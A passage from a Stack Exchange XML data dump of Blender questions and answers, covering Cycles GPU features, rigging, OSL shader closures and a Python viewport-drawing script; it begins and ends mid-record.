rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output/Video&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-04T20:57:20.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10998" PostTypeId="2" ParentId="10984" CreationDate="2014-06-04T20:57:54.770" Score="3" Body="&lt;p&gt;Unfortunately, these features aren't finished yet.&lt;/p&gt;&#xA;&lt;h1&gt;SSS&lt;/h1&gt;&#xA;&lt;p&gt;GPU SSS is working, but still experimental.&#xA;To test it, you need to &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2014-February/001820.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;add one line in the &lt;code&gt;kernel_types&lt;/code&gt; header file&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;diff --git a/intern/cycles/kernel/kernel_types.h b/intern/cycles/kernel/kernel_types.h&#xA;index 8d7adb2..1175c16 100644&#xA;--- a/intern/cycles/kernel/kernel_types.h&#xA;+++ b/intern/cycles/kernel/kernel_types.h&#xA;@@ -66,6 +66,7 @@ CCL_NAMESPACE_BEGIN&#xA; #ifdef __KERNEL_CUDA__&#xA; #define __KERNEL_SHADING__&#xA; #define __KERNEL_ADV_SHADING__&#xA;+#define __SUBSURFACE__&#xA; #define __BRANCHED_PATH__&#xA; //#define __VOLUME__&#xA; #endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems the main reason that this isn't yet included as  an &lt;em&gt;experimental feature&lt;/em&gt; is that &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2013-December/001702.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;it requires compiling kernels twice&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;we cannot make it available just under experimental, we would need to compile all kernels 2x (for each architecture).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;GPU SSS is enabled in master as of &lt;a href=&quot;https://developer.blender.org/rBfb3f32760d68134aadb7978922360857f0ecccb7&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;. Now any new development build will have SSS on GPU. This will be in 2.72.&lt;/p&gt;&#xA;&lt;h1&gt;Volumetrics&lt;/h1&gt;&#xA;&lt;p&gt;Volume support for GPU was unofficially working shortly after its addition (see &lt;code&gt;2:22&lt;/code&gt; of this &lt;a href=&quot;http://www.youtube.com/watch?v=tc17UHz9SVA&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;), however broke with the addition of scattering (see &lt;code&gt;2:50&lt;/code&gt; of &lt;a href=&quot;http://www.youtube.com/watch?v=qnY-NjUPQWE&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://www.youtube.com/watch?v=qnY-NjUPQWE&quot; rel=&quot;nofollow noreferrer&quot;&gt;same video&lt;/a&gt;, GPU volumetrics was supposed to be fixed for 2.70. Since that was not the case, I can only assume that development was delayed and it's still due to be fixed at some point.&lt;/p&gt;&#xA;&lt;h2&gt;update:&lt;/h2&gt;&#xA;&lt;p&gt;GPU volume support has been added to master as of &lt;a href=&quot;https://developer.blender.org/rB8d0b3e9902540a354b633c854f0fa83a0c839dfd&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;, but currently is in a very experimental state and smoke/fire renders are not supported yet. This will be in 2.72.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-26T22:52:31.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10999" PostTypeId="1" AcceptedAnswerId="16485" CreationDate="2014-06-04T21:20:54.947" Score="2" ViewCount="2696" Body="&lt;p&gt;How can an object be to rendered using the cycles render engine so that it renders with normal maps, specular maps, etc, and shows wireframes of the mesh and the subdivision surface modifier? For example, - &lt;img src=&quot;https://i.stack.imgur.com/MwsQM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done with a texture, but is there another way?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-06-05T01:18:50.217" LastActivityDate="2015-07-21T17:40:24.297" Title="How to render an object with both a base mesh wireframe and subdivision surface wireframe?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11000" PostTypeId="1" CreationDate="2014-06-04T21:29:24.770" Score="0" ViewCount="17" Body="&lt;p&gt;I have made a small eclipse type object with black material. One of the face is not displayed correctly in edit mode. It is displayed correctly in object mode and in final render. I have attached a screenshot with the culprit face highlighted in red circle.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jxfB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3377" LastActivityDate="2014-06-04T21:29:24.770" Title="Material is not displayed correctly on one face" Tags="&lt;modeling&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-06-04T22:24:05.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="11001" PostTypeId="1" CreationDate="2014-06-05T00:13:44.780" Score="0" ViewCount="282" Body="&lt;p&gt;I am trying to find out how to make a cannon or gun that works with the physics simulation. but I have two problems.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I'm not sure how to suddenly apply force behind an object,then remove it.&lt;/li&gt;&#xA;&lt;li&gt;I can't stop the projectile from wedging into the barrel and bouncing around trying to escape.(the alternative is to make is smaller, but it still &quot;bleeds&quot; through the mesh)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;how can I use the ridged physics engine to create a ballistic simulation( mortar, gun,etc)?&lt;/p&gt;&#xA;" OwnerUserId="3743" LastActivityDate="2014-06-05T07:39:20.833" Title="how can I accurately simulate ballistic physics?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-06-05T09:03:36.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="11002" PostTypeId="1" AcceptedAnswerId="11016" CreationDate="2014-06-05T01:24:03.140" Score="2" ViewCount="1276" Body="&lt;p&gt;I've updated my underlying movie clip (actually an image sequence) and now I want to render a stabilized animation using the existing tracks that I've made. But when I click the folder icon on the movie clip and choose new files, the tracks disappear. Is there a way to restore the tracks to the new clip?&lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2014-06-05T14:39:29.993" Title="Motion Tracking: save tracks but change movie clip" Tags="&lt;animation&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11003" PostTypeId="1" CreationDate="2014-06-05T02:15:33.650" Score="0" ViewCount="2157" Body="&lt;p&gt;I'm working on a game (and thus using the Game Engine) and I have a pistol parented to a bone. When I play the game, the pistol moves with the animation, but the actual location does not change with the character. Here's some images of it happening: &lt;br /&gt;&#xA;&lt;a href=&quot;https://imgur.com/fJGxCcu&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/fJGxCcu.png&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt; &lt;br /&gt;&#xA;You can see the pistol is in the hand, and it follows the animation for rest. &lt;br /&gt;&#xA;&lt;a href=&quot;https://imgur.com/u0Y0Am4&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/u0Y0Am4.png&quot; title=&quot;Hosted by imgur.com&quot;/&gt;&lt;/a&gt; &lt;br /&gt;&#xA;When I run to another location, the pistol moves like it is running, but stays in the same place.&#xA;&lt;br /&gt;&#xA;I can probably take a video of it if that's required.&#xA;&lt;br /&gt;&#xA;It is not locked in any way.&lt;/p&gt;&#xA;" OwnerUserId="3584" LastActivityDate="2014-10-05T23:55:28.567" Title="Child object doesn't move with parent bone" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11004" PostTypeId="2" ParentId="11003" CreationDate="2014-06-05T05:36:11.620" Score="1" Body="&lt;p&gt;I'm not sure if the same applies to the game engine, but when animating the bones don't move the body unless they share the same name as the (vertex group) they are meant to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this link shows how to make vertex groups&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=w1EZZIsiIUA&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=w1EZZIsiIUA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you already have bones, go into edit mode and make sure each one has a name which matches its appropriate vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry if this doesn't help.&lt;/p&gt;&#xA;" OwnerUserId="2988" LastEditorUserId="2988" LastEditDate="2014-06-05T05:41:26.780" LastActivityDate="2014-06-05T05:41:26.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11005" PostTypeId="1" CreationDate="2014-06-05T06:39:01.317" Score="1" ViewCount="917" Body="&lt;p&gt;I'm using the BGE and I need to change the position of a group of vertex of a soft-body while the game is running. I've tried with the code below but I don't see any change. If I print the new position of the vertex I can see in console that the value change but in the soft-body I don't see anything different. I've tried using obj.reinstancePhysicsMesh(obj,mesh) at the end of the code but that change the position of the entire mesh. How could I do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import bpy&#xA;cont = bge.logic.getCurrentController( ) &#xA;own = cont.owner&#xA;scn = bge.logic.getCurrentScene( )&#xA;obj = scn.objects[&quot;object1&quot;]&#xA;mesh = obj.meshes[0]&#xA;for v in range(0,1000):&#xA;    vert = mesh.getVertex(0, v)&#xA;    vert.XYZ = [1.0, 1.0, 1.0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="2821" LastEditDate="2014-06-05T06:46:02.617" LastActivityDate="2019-06-25T02:40:46.287" Title="BGE Chaging the position of a vertex in real time" Tags="&lt;game-engine&gt;&lt;vertex-groups&gt;&lt;soft-body&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11007" PostTypeId="1" CreationDate="2014-06-05T07:50:52.733" Score="0" ViewCount="2804" Body="&lt;p&gt;I am trying to make an inverse Kinematics between the leg IK.L and the lower leg.L, thsi also has to have a pole target of Knee.L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/anOP7.png&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is as soon as I move the leg IK.L part the rest of the leg starts spinning uncontrollably, and even if I try to move it back to the starting position it just continues to spin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s8jAX.png&quot; alt=&quot;After&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need help on this as an hour long tedious search has turned up nothing relating to my problem, these are the settings for the IK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJv3c.png&quot; alt=&quot;Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3747" LastActivityDate="2014-06-09T12:44:40.677" Title="Inverse Kinematics, spins wildly" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11008" PostTypeId="1" CreationDate="2014-06-05T09:32:21.440" Score="0" ViewCount="58" Body="&lt;p&gt;I've a problem with GPU activation in blender.&#xA;I've found same problem &lt;a href=&quot;https://blender.stackexchange.com/questions/7485/enabling-gpu-rendering-for-cycles&quot;&gt;here&lt;/a&gt; already, however it didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a GeForce 750Ti graphics card with proprietary drivers installed (not from site but from repo) version 334.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also installed nvidia-cuda-toolkit package.&#xA;Nothing helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to run blender in a verbose mode from console to find out what's wrong in cuda detection?&lt;/p&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-06-05T10:36:16.367" Title="blender on linux, no gpu renderer" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-06-06T10:24:10.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="11010" PostTypeId="1" CreationDate="2014-06-05T09:53:50.643" Score="2" ViewCount="489" Body="&lt;p&gt;I am building a model of my house with a view to using it to explore different changes as part of a major redecorating project. I have done some work using sketchup, but have run into problems because (for example) adding a skirting board affects the wall, such that removing the skirting board leaves a gap at the bottom of the wall. If the alternative skirting board is smaller, then I have a gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to model each room as a simple box to which I can then add (as different scenes?) different skirting boards as well as other fixtures and fittings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I would like to be able to have a view where the walls go semi-transparent to I can show details of wiring or plumbing, but still see enough of the walls to see where the wiring or plumbing is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit of a 3D noob, but have used sketchup enough to get frustrated at its limitations. How would you recommend using parent / child, groups, layers or scenes for this?&lt;/p&gt;&#xA;" OwnerUserId="3749" LastEditorUserId="2217" LastEditDate="2014-08-24T00:25:33.093" LastActivityDate="2014-08-24T00:25:33.093" Title="Can I model a house in a way that I can turn details on and off?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11013" PostTypeId="1" CreationDate="2014-06-05T05:51:06.813" Score="3" ViewCount="420" Body="&lt;p&gt;I drew three coloured squares over the screenshot, so you can catch easier what do I want to accomplish here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to select the 4 edges of the vertex as stated in the green square and not only 2 as shown in the red ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why Blender doesn't allow me to select them. For unknown reasons sometimes I have to start all over again, all because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SvQi5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3751" OwnerDisplayName="Fabián" LastEditorUserId="115" LastEditDate="2014-06-05T13:57:09.883" LastActivityDate="2014-06-05T13:57:30.363" Title="Why Blender doesn't let me select all aligned vertex edges at all?" Tags="&lt;vertices&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11014" PostTypeId="2" ParentId="11013" CreationDate="2014-06-05T08:49:42.740" Score="5" Body="&lt;p&gt;Where you have a vertex selected inside the red square, the highlighted edges are the ones connected to the selected vertex. The other edges don't appear selected as there is a second vertex that appears to be in the same position as the one you have selected. If you move the selected vertex you will find it moves away from the other one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest solution is to select all vertices and Remove Doubles. If that doesn't merge anything you can press &lt;kbd&gt;F6&lt;/kbd&gt; and increase the merge distance. Don't go too high or you can merge the entire mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3FQyW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to select the nearby vertices and manually merge them together with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get vertices close together you may find it easier to switch to wireframe display to select the vertices.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="115" LastEditDate="2014-06-05T13:57:30.363" LastActivityDate="2014-06-05T13:57:30.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11016" PostTypeId="2" ParentId="11002" CreationDate="2014-06-05T14:39:29.993" Score="2" Body="&lt;p&gt;You need to load the old JPG (the &quot;proxy&quot; tracked scene)in the Movie Clip Editor, so you have access to the tracking information. Select the trackers toe be used for stablilizing the footage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8nqs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor create a Movie clip node that uses the new image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a &quot;stabilize2D&quot; node and use the tracking information from the old scene on the new scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/52AgN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-06-05T14:39:29.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11017" PostTypeId="1" AcceptedAnswerId="11021" CreationDate="2014-06-05T16:01:28.033" Score="-2" ViewCount="1398" Body="&lt;p&gt;I was learning about the Open Shading Language and I found this. I know that these are codes for creating OSL shaders, but when writing them in Blender, do they have to be written as they are here or just what it is in the brackets? For example - &quot;Diffuse (N)&quot; or just &quot;N&quot;? - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BSDF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;diffuse(N)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;oren_nayar(N, roughness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reflection(N)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;refraction(N, ior)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;microfacet_beckmann(N, roughness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;microfacet_beckmann_refraction(N, roughness, ior)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;microfacet_ggx(N, roughness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;microfacet_ggx_refraction(N, roughness, ior)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;phong_ramp(N, exponent, colors[8])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;diffuse_ramp(N, colors[8])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;translucent(N)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;transparent()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ashikhmin_velvet(N, roughness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ward(N, T, roughness_u, roughness_v)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;diffuse_toon(N, size, smooth)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;glossy_toon(N, size, smooth)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;westin_sheen(N, roughness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;westin_backscatter(N, edginess)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hair_reflection(N, roughnessu, roughnessv, T, offset)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hair_transmission(N, roughnessu, roughnessv, T, offset)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the page:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-10-06T13:10:09.923" LastActivityDate="2014-10-06T13:10:09.923" Title="About OSL shaders?" Tags="&lt;cycles-render-engine&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-09-25T03:43:19.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="11018" PostTypeId="1" AcceptedAnswerId="11019" CreationDate="2014-06-05T16:18:34.847" Score="1" ViewCount="110" Body="&lt;p&gt;What I mean is - Can you do things in the node editor that would not be possible if it is removed? Is the node editor only a visual representation of other approaches for the same thing?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-06T04:19:33.923" Title="Is blender more superior with the node editor then without it?" Tags="&lt;node-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11019" PostTypeId="2" ParentId="11018" CreationDate="2014-06-05T16:46:23.770" Score="4" Body="&lt;p&gt;For Cycles materials most of the node editor's functionality can be achieved in the material tab. What is missing is the creation and editing functionality of node groups. Also, working in the node editor is much less confusing than using the visualization in the material tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Blender Internal's node-materials, node textures and the compositor there is no equivalent in another part of Blender. If you removed the node editor, you could not use these features at all.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-05T16:46:23.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11021" PostTypeId="2" ParentId="11017" CreationDate="2014-06-05T17:46:53.613" Score="6" Body="&lt;p&gt;This list of functions you included is a list of BSDF 'closures' that are available in the Cycles render engine using OSL. A 'closure' is explained as follows:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;OSL's surface and volume shaders compute an explicit symbolic description, called a &amp;quot;closure&amp;quot;, of the way a surface or volume scatters light, in units of radiance. These radiance closures may be evaluated in particular directions, sampled to find important directions, or saved for later evaluation and re-evaluation. This new approach is ideal for a physically-based renderer that supports ray tracing and global illumination.&lt;/p&gt;&#xA;&lt;p&gt;In contrast, other shading languages usually compute just a surface color as visible from a particular direction. These old shaders are &amp;quot;black boxes&amp;quot; that a renderer can do little with but execute to find this one piece of information (for example, there is no effective way to discover from them which directions are important to sample). Furthermore, the physical units of lights and surfaces are often underspecified, making it very difficult to ensure that shaders are behaving in a physically correct manner.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://code.google.com/p/openshadinglanguage/wiki/OSL_Introduction#Surface_and_volume_shaders_compute_radiance_closures,_not_final&quot; rel=&quot;noreferrer&quot;&gt;OSL Introduction page&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&lt;p&gt;Put simply, a closure is like a building block for a shader. For each pixel in the final image, the renderer passes various bits of information (surface normal, roughness, index of refraction, etc.) to a closure. The closure returns some sort of information about the reflected light from a surface based on the information the renderer passed it. They're very similar to the shaders (BSDFs) in Cycles. It's just a different language.&lt;/p&gt;&#xA;&lt;p&gt;You can download some example OSL shaders &lt;a href=&quot;http://www.openshading.com/osl/example-shaders/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and a really good introduction to OSL programming in Blender &lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/introduction-to-osl-in-blender-cycles/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: this list of closures is available to the Cycles render engine, but not necessarily any other OSL-compliant render engine; the engine has to provide its own closures.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-05T17:46:53.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11022" PostTypeId="1" AcceptedAnswerId="11023" CreationDate="2014-06-05T18:48:19.907" Score="2" ViewCount="646" Body="&lt;p&gt;Is it possible to change the camera in the 3d-viewport to something a little more camera-ish. For example in maya the camera looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JULRJ.png&quot; alt=&quot;camera&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done with python scripting?&lt;/p&gt;&#xA;" OwnerUserId="2387" LastEditorUserId="20" LastEditDate="2014-06-05T19:29:54.107" LastActivityDate="2014-06-05T22:28:57.320" Title="How to change the Camera mesh?" Tags="&lt;scripting&gt;&lt;interface&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11023" PostTypeId="2" ParentId="11022" CreationDate="2014-06-05T19:32:48.103" Score="3" Body="&lt;p&gt;You can overlay the 3D Viewport using a draw handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;'PRE_VIEW'&lt;/code&gt; to have it in world space behind everything else, &lt;code&gt;'POST_VIEW'&lt;/code&gt; for world space like a real object (depth test). &lt;code&gt;'POST_PIXEL'&lt;/code&gt; is screen-space on top of everything else, but requires 2D coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to hide the real camera however, which is drawn by C code - maybe put it on another layer or simply hide it? Note that you can't move the camera while it's hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of concept:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;from mathutils import Vector&#xA;&#xA;bbox_normal = ((-1.0, -1.0, -1.0), (-1.0, -1.0, 1.0), (-1.0, 1.0, 1.0), (-1.0, 1.0, -1.0), (1.0, -1.0, -1.0), (1.0, -1.0, 1.0), (1.0, 1.0, 1.0), (1.0, 1.0, -1.0))&#xA;&#xA;def draw_callback_px(self, context):&#xA;    if context.scene.camera is None:&#xA;        return&#xA;&#xA;    font_id = 0  # XXX, need to find out how best to get this.&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    bbox = [context.scene.camera.matrix_world * Vector(x) for x in bbox_normal]&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex3f(*bbox[0])&#xA;    bgl.glVertex3f(*bbox[1])&#xA;    bgl.glVertex3f(*bbox[2])&#xA;    bgl.glVertex3f(*bbox[3])&#xA;    bgl.glVertex3f(*bbox[0])&#xA;    bgl.glVertex3f(*bbox[4])&#xA;    bgl.glVertex3f(*bbox[5])&#xA;    bgl.glVertex3f(*bbox[6])&#xA;    bgl.glVertex3f(*bbox[7])&#xA;    bgl.glVertex3f(*bbox[4])&#xA;    bgl.glEnd()&#xA;&#xA;    bgl.glBegin(bgl.GL_LINES)&#xA;    bgl.glVertex3f(*bbox[1])&#xA;    bgl.glVertex3f(*bbox[5])&#xA;    bgl.glVertex3f(*bbox[2])&#xA;    bgl.glVertex3f(*bbox[6])&#xA;    bgl.glVertex3f(*bbox[3])&#xA;    bgl.glVertex3f(*bbox[7])&#xA;    bgl.glEnd()&#xA;&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type == 'ESC':&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'PRE_VIEW')&#xA;            if context.scene.camera:&#xA;                context.scene.camera.hide = True&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            ctx = bpy.context.copy()&#xA;            ctx['area'] = area&#xA;            bpy.ops.view3d.modal_operator(ctx, 'INVOKE_DEFAULT')&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To draw the box on top of everything else (like X-ray):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy_extras.view3d_utils import location_3d_to_region_2d&#xA;&#xA;# ...&#xA;&#xA;    bbox = []&#xA;    region = context.region&#xA;    rv3d = context.space_data.region_3d&#xA;    for x in bbox_normal:&#xA;        coord = context.scene.camera.matrix_world * Vector(x)&#xA;        bbox.append(tuple(map(round, location_3d_to_region_2d(region, rv3d, 